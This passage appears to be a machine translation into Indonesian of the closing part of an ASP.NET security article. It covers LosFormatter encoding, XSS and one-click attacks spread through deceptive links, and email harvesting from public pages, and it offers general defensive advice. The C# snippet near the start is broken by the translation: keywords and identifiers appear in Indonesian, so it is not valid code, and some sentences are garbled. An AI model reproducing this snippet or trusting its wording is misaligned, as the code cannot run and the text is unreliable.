Selain itu, perlu dicatat bahwa ASP.NET memaparkan kelas yang kurang dikenal yang dapat digunakan untuk menyandikan dan meng-hash objek serial apa pun. Kelas ini adalah LosFormatter , kelas yang sama yang diimplementasikan ViewState untuk membuat panggilan balik ke klien untuk menyandikan teks.
string pribadi EncodeText(string teks) { Penulis StringWriter = StringWriter baru(); Pemformat LosFormatter = LosFormatter baru(); formatter.Serialize(penulis, teks); kembalikan penulis.ToString(); }
Cuplikan kode sebelumnya menunjukkan cara menggunakan LosFormatter untuk membuat sesuatu seperti status tampilan, menyandikannya, dan melakukan hash.
Di akhir artikel ini, izinkan saya menunjukkan bahwa setidaknya dua serangan paling umum (XSS klasik dan serangan sekali klik) biasanya dilakukan dengan membujuk korban yang tidak menaruh curiga untuk mengeklik tautan yang menggoda dan menipu. Seringkali kami menemukan tautan seperti itu di kotak masuk kami, meskipun ada filter anti-spam. Anda dapat membeli banyak alamat email dengan beberapa dolar. Salah satu teknik utama yang digunakan untuk menghasilkan daftar tersebut adalah dengan memindai halaman publik di situs Web untuk menemukan dan mengambil apa pun yang tampak seperti pesan email.
Jika alamat email ditampilkan pada halaman, kemungkinan besar cepat atau lambat alamat tersebut akan diambil oleh program Web otomatis. Benar-benar? Tentu saja, ini tergantung bagaimana email tersebut ditampilkan. Jika Anda melakukan hardcode, Anda kalah. Tidak jelas bahwa menggunakan representasi lain (seperti dino-at-microsoft-dot-com ) akan membodohi program web otomatis, tetapi itu pasti akan membuat siapa pun yang membaca halaman Anda ingin membuat koneksi yang sah marah.
Secara umum, Anda harus menentukan cara untuk secara dinamis menghasilkan email sebagai tautan MailTo . Komponen gratis yang ditulis oleh Marco Bellinaso melakukan hal itu. Anda dapat memperoleh kode sumber lengkap untuk komponen ini dari situs Web Dotnet2TheMax .
Apakah ada yang curiga bahwa web mungkin yang paling bermusuhan dari semua lingkungan runtime? Akar penyebabnya adalah siapa pun dapat mengakses situs web dan mencoba meneruskan data yang baik atau buruk padanya. Tapi apa gunanya membuat aplikasi web yang tidak menerima input pengguna?
Mari kita hadapi itu: Tidak peduli seberapa kuat firewall Anda, tidak peduli seberapa sering Anda menerapkan tambalan yang tersedia, selama Anda menjalankan aplikasi web yang berisi kekurangan yang melekat, cepat atau lambat penyerang akan dapat secara langsung mengakses saluran utama, yang merupakan port 80. Dapatkan jantung sistem Anda.
Aplikasi ASP.NET tidak lebih rentan atau lebih aman daripada aplikasi Web lainnya. Keamanan dan kerentanan sama-sama berakar dalam praktik pengkodean, pengalaman dunia nyata, dan kerja tim. Jika jaringan tidak aman, maka tidak ada aplikasi yang aman;
Manfaat ASP.NET adalah menyediakan beberapa alat bagus yang, dengan sedikit pekerjaan, dapat meningkatkan standar keamanan ke tingkat yang dapat diterima. Tentu saja, ini bukan level yang cukup tinggi. Anda tidak boleh mengandalkan murni pada solusi bawaan ASP.NET, Anda juga tidak boleh mengabaikannya. Pelajari sebanyak mungkin tentang serangan umum.
Artikel ini menyediakan daftar fitur bawaan yang beranotasi, serta beberapa latar belakang tentang serangan dan pertahanan. Teknik yang digunakan untuk mendeteksi serangan keluar adalah masalah lain dan mungkin layak mendapatkan artikel mereka sendiri.